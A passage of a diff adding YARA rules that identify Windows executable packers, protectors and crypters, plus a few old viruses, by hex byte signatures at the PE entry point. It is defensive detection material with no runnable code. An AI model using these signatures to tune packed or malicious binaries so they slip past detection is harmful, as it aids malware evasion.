+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Pohernah103byKas
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 2A 27 40 00 31 C0 40 83 F0 06 40 3D 40 1F 00 00 75 07 BE 6A 27 40 00 EB 02 EB EB 8B 85 9E 28 40 00 83 F8 01 75 17 31 C0 01 EE 3D 99 00 00 00 74 0C 8B 8D 86 28 40 00 30 0E 40 46 EB ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ObsidiumV1258ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 01 ?? E8 ?? 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule nPackv11150200BetaNEOx
+	{
+	strings:
+			$a0 = { 83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? 00 E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PerlApp602ActiveState
+	{
+	strings:
+			$a0 = { 68 2C EA 40 00 FF D3 83 C4 0C 85 C0 0F 85 CD 00 00 00 6A 09 57 68 20 EA 40 00 FF D3 83 C4 0C 85 C0 75 12 8D 47 09 50 FF 15 1C D1 40 00 59 A3 B8 07 41 00 EB 55 6A 08 57 68 14 EA 40 00 FF D3 83 C4 0C 85 C0 75 11 8D 47 08 50 FF 15 1C D1 40 00 59 89 44 24 10 EB 33 6A 09 57 68 08 EA 40 00 FF D3 83 C4 0C 85 C0 74 22 6A 08 57 68 FC E9 40 00 FF D3 83 C4 0C 85 C0 74 11 6A 0B 57 68 F0 E9 40 00 FF D3 83 C4 0C 85 C0 75 55 }
+	$a1 = { 68 9C E1 40 00 FF 15 A4 D0 40 00 85 C0 59 74 0F 50 FF 15 1C D1 40 00 85 C0 59 89 45 FC 75 62 6A 00 8D 45 F8 FF 75 0C F6 45 14 01 50 8D 45 14 50 E8 9B 01 00 00 83 C4 10 85 C0 0F 84 E9 00 00 00 8B 45 F8 83 C0 14 50 FF D6 85 C0 59 89 45 FC 75 0E FF 75 14 FF 15 78 D0 40 00 E9 C9 00 00 00 68 8C E1 40 00 FF 75 14 50 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule UPXProtectorv10x2
+	{
+	strings:
+			$a0 = { EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ThinstallEmbedded2501Jitit
+	{
+	strings:
+			$a0 = { 55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A8 1A 00 00 B9 6D 1A 00 00 BA 21 1B 00 00 BE 00 10 00 00 BF C0 53 00 00 BD F0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CodeVirtualizer1310OreansTechnologies
+	{
+	strings:
+			$a0 = { 60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9 01 00 00 00 33 C0 F0 0F B1 4F 30 75 F7 AC }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule VProtector13Xvcasm
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 60 8B B4 24 24 00 00 00 8B BC 24 28 00 00 00 FC C6 C2 80 33 DB A4 C6 C3 02 E8 A9 00 00 00 0F 83 F1 FF FF FF 33 C9 E8 9C 00 00 00 0F 83 2D 00 00 00 33 C0 E8 8F 00 00 00 0F 83 37 00 00 00 C6 C3 02 41 C6 C0 10 E8 7D 00 00 00 10 C0 0F 83 F3 FF FF FF }
+	$a1 = { E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 FF FF C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Packman0001bubba
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 58 8D A8 ?? FE FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimplePackV11XV12XMethod1bagie
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEEncryptv40bJunkCode
+	{
+	strings:
+			$a0 = { 66 ?? ?? 00 66 83 ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEQuake006forgat
+	{
+	strings:
+			$a0 = { E8 A5 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? ?? 00 5B ?? ?? 00 6E ?? ?? 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Kryptonv02
+	{
+	strings:
+			$a0 = { 8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule AHTeamEPProtector03fakePELockNT204FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXPressorPacK150XCGSoftLabs
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule D1S1Gv11BetaScrambledEXED1N
+	{
+	strings:
+			$a0 = { E8 07 00 00 00 E8 1E 00 00 00 C3 90 58 89 C2 89 C2 25 00 F0 FF FF 50 83 C0 55 8D 00 FF 30 8D 40 04 FF 30 52 C3 8D 40 00 55 8B EC 83 C4 E8 53 56 57 8B 4D 10 8B 45 08 89 45 F8 8B 45 0C 89 45 F4 8D 41 61 8B 38 8D 41 65 8B 00 03 C7 89 45 FC 8D 41 69 8B 00 03 C7 8D 51 6D 8B 12 03 D7 83 C1 71 8B 09 03 CF 2B CA 72 0A 41 87 D1 80 31 FF 41 4A 75 F9 89 45 F0 EB 71 8B }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ReversingLabsProtector074betaAp0x
+	{
+	strings:
+			$a0 = { 68 00 00 41 00 E8 01 00 00 00 C3 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ACProtect109gRiscosoftwareInc
+	{
+	strings:
+			$a0 = { 60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NorthStarPEShrinker13Liuxingping
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXPressorV13CGSoftLabs
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC ?? 53 56 57 EB 0C 45 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeJoinerSmallbuild035GlOFF
+	{
+	strings:
+			$a0 = { 51 33 CB 86 C9 59 E8 9E FD FF FF 66 87 DB 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upack020betaDwing
+	{
+	strings:
+			$a0 = { BE 88 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPX20030XMarkusOberhumerLaszloMolnarJohnReiser
+	{
+	strings:
+			$a0 = { 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF ?? ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 57 48 F2 AE 55 FF ?? ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB E1 FF ?? ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? ?? ?? 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule WinUpackv039finalByDwingc2005h1
+	{
+	strings:
+			$a0 = { BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnnamedScrambler12Bp0ke
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65 40 00 6A 00 FF 15 10 55 40 00 BA 6C 3F 40 00 B8 14 55 40 00 E8 5A F4 FF FF 85 C0 0F 84 1B 04 00 00 BA 18 55 40 00 8B 0D 14 55 40 00 E8 16 D7 FF FF 8B 05 88 61 40 00 8B D0 B8 54 62 40 00 E8 D4 E3 FF FF B8 54 62 40 00 E8 F2 E2 FF FF 8B D0 B8 18 55 40 00 8B 0D 88 61 40 00 E8 E8 D6 FF FF FF 35 34 62 40 00 FF 35 30 62 40 00 FF 35 3C 62 40 00 FF 35 38 62 40 00 8D 55 E8 A1 88 61 40 00 E8 E3 F0 FF FF 8B 55 E8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Upack010012betaDwing
+	{
+	strings:
+			$a0 = { BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEArmorV07Xhying
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+		
+	rule LauncherGeneratorv103
+	{
+	strings:
+			$a0 = { 68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule yodasProtector102103AshkbizDanehkar
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule NakedPacker10byBigBoote
+	{
+	strings:
+			$a0 = { 60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 40 ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 48 ?? ?? ?? C3 8B 4C 24 04 56 8B 74 24 10 57 85 F6 8B F9 74 0D 8B 54 24 10 8A 02 88 01 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule tElockv080
+	{
+	strings:
+			$a0 = { 60 E8 F9 11 00 00 C3 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01YodasProtector102Anorganix
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 90 90 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VProtector11Xvcasm
+	{
+	strings:
+			$a0 = { EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+		rule FSGv110EngdulekxtMASM32
+	{
+	strings:
+			$a0 = { EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Pohernah102byKas
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 25 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 01 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+
+	
+	rule ActiveMARK5xTrymediaSystemsInc
+	{
+	strings:
+			$a0 = { 20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule RCryptorv20HideEPVaska
+	{
+	strings:
+			$a0 = { F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 DC 20 ?? 00 F7 D1 83 F1 FF E8 00 00 00 00 F7 D1 83 F1 FF C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule Armadillov172v173
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AsCryptv01SToRM2
+	{
+	strings:
+			$a0 = { 80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2 }
+
+	condition:
+			$a0
+	}
+	
+	rule AsCryptv01SToRM3
+	{
+	strings:
+			$a0 = { 80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 51 ?? ?? ?? 01 00 00 00 83 ?? ?? E2 }
+
+	condition:
+			$a0
+	}
+	
+	rule ASProtectV2XDLLAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AsCryptv01SToRM4
+	{
+	strings:
+			$a0 = { 80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2 }
+
+	condition:
+			$a0
+	}
+/*    
+	rule AsCryptv01SToRM5
+	{
+	strings:
+			$a0 = { 83 ?? ?? E2 ?? ?? E2 ?? FF }
+
+	condition:
+			$a0
+	}
+
+*/
+
+	rule yzpack20UsAr
+	{
+	strings:
+			$a0 = { 25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0 08 AC FF 54 24 08 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 99 BD ?? ?? ?? ?? FF 65 28 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PasswordprotectormySMT
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? 5D 8B FD 81 ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 46 80 ?? ?? 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+
+	rule ObsidiumV1258V133XObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 01 ?? E8 ?? 00 00 00 EB 02 ?? ?? EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule ReflexiveArcadeWrapper
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxTrojanTelefoon
+	{
+	strings:
+			$a0 = { 60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv030betaDwing
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule VxACMEClonewarMutant
+	{
+	strings:
+			$a0 = { FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+/*	
+	rule Mew11SEv12EngNorthfox
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+	rule Armadillov2xxCopyMemII
+	{
+	strings:
+			$a0 = { 6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule TPACKv05cm1
+	{
+	strings:
+			$a0 = { 68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEStealthv271
+	{
+	strings:
+			$a0 = { EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule TPACKv05cm2
+	{
+	strings:
+			$a0 = { 68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule ExeJoiner10Yodaf2f
+	{
+	strings:
+			$a0 = { 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv101bAlexeySolodovnikov
+	{
+	strings:
